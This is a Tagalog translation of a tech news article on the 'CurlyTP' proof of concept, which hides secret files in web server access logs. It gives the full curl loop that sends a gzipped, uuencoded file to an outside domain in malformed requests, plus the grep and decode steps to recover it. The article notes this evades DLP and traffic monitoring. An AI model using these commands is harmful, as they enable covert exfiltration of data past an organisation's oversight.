Pagpapalitan ng mga lihim na mensahe sa pamamagitan ng mga log ng server

Ayon sa kahulugan ng Wikipedia, ang dead drop ay isang conspiracy tool na nagsisilbing palitan ng impormasyon o ilang bagay sa pagitan ng mga tao gamit ang isang lihim na lokasyon. Ang ideya ay ang mga tao ay hindi kailanman nagkikita - ngunit nagpapalitan pa rin sila ng impormasyon upang mapanatili ang kaligtasan sa pagpapatakbo.

Ang pinagtataguan ay hindi dapat makaakit ng pansin. Samakatuwid, sa offline na mundo ay madalas silang gumagamit ng mga maingat na bagay: isang maluwag na ladrilyo sa dingding, isang aklat sa aklatan, o isang guwang sa isang puno.

Maraming mga tool sa pag-encrypt at anonymization sa Internet, ngunit ang mismong katotohanan ng paggamit ng mga tool na ito ay nakakaakit ng pansin. Bilang karagdagan, maaari silang ma-block sa antas ng korporasyon o gobyerno. Anong gagawin?

Nagmungkahi ang developer na si Ryan Flowers ng isang kawili-wiling opsyon - gumamit ng anumang web server bilang isang taguan. Kung iisipin mo, ano ang ginagawa ng isang web server? Tumatanggap ng mga kahilingan, naglalabas ng mga file at nagsusulat ng mga log. At itinatala nito ang lahat ng mga kahilingan, kahit mga mali!

Lumalabas na pinapayagan ka ng anumang web server na i-save ang halos anumang mensahe sa log. Nagtaka si Flowers kung paano ito gagamitin.

Nag-aalok siya ng pagpipiliang ito:

  1. Kumuha ng text file (lihim na mensahe) at kalkulahin ang hash (md5sum).
  2. I-encode namin ito (gzip+uuencode).
  3. Sumulat kami sa log gamit ang isang sadyang hindi tamang kahilingan sa server.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Upang basahin ang isang file, kailangan mong isagawa ang mga operasyong ito sa reverse order: i-decode at i-unzip ang file, suriin ang hash (ang hash ay maaaring ligtas na maipadala sa mga bukas na channel).

Ang mga puwang ay pinapalitan ng =+=upang walang mga puwang sa address. Ang program, na tinawag ng may-akda na CurlyTP, ay gumagamit ng base64 encoding, tulad ng mga email attachment. Ang kahilingan ay ginawa gamit ang isang keyword ?transfer?upang ang tatanggap ay madaling mahanap ito sa mga log.

Ano ang nakikita natin sa mga tala sa kasong ito?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Tulad ng nabanggit na, upang makatanggap ng isang lihim na mensahe kailangan mong isagawa ang mga operasyon sa reverse order:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Ang proseso ay madaling i-automate. Ang Md5sum ay tumutugma, at ang mga nilalaman ng file ay nagpapatunay na ang lahat ay na-decode nang tama.

Ang pamamaraan ay napaka-simple. "Ang punto ng pagsasanay na ito ay upang patunayan lamang na ang mga file ay maaaring ilipat sa pamamagitan ng mga inosenteng maliit na kahilingan sa web, at ito ay gumagana sa anumang web server na may plain text logs. Sa esensya, ang bawat web server ay isang taguan!” ang isinulat ni Flowers.

Siyempre, gagana lamang ang pamamaraan kung ang tatanggap ay may access sa mga log ng server. Ngunit ang gayong pag-access ay ibinibigay, halimbawa, ng maraming mga hoster.

Paano ito gamitin?

Sinabi ni Ryan Flowers na hindi siya isang eksperto sa seguridad ng impormasyon at hindi magbubuo ng listahan ng mga posibleng gamit para sa CurlyTP. Para sa kanya, ito ay isang patunay lamang ng konsepto na ang mga pamilyar na tool na nakikita natin araw-araw ay maaaring gamitin sa isang hindi kinaugalian na paraan.

Sa katunayan, ang pamamaraang ito ay may ilang mga pakinabang sa iba pang mga server na "nagtatago" tulad ng Digital Dead Drop o PirateBox: hindi ito nangangailangan ng espesyal na pagsasaayos sa gilid ng server o anumang mga espesyal na protocol - at hindi mag-uudyok ng hinala sa mga sumusubaybay sa trapiko. Malamang na ang SORM o DLP system ay mag-scan ng mga URL para sa mga naka-compress na text file.

Ito ay isa sa mga paraan upang magpadala ng mga mensahe sa pamamagitan ng mga file ng serbisyo. Maaalala mo kung paano naglagay ang ilang mga advanced na kumpanya Mga Trabaho ng Developer sa HTTP Header o sa code ng mga HTML na pahina.

Pagpapalitan ng mga lihim na mensahe sa pamamagitan ng mga log ng server

Ang ideya ay ang mga web developer lamang ang makakakita nitong Easter egg, dahil ang isang normal na tao ay hindi tumitingin sa mga header o HTML code.

Pagpapalitan ng mga lihim na mensahe sa pamamagitan ng mga log ng server

Pinagmulan: www.habr.com

Magdagdag ng komento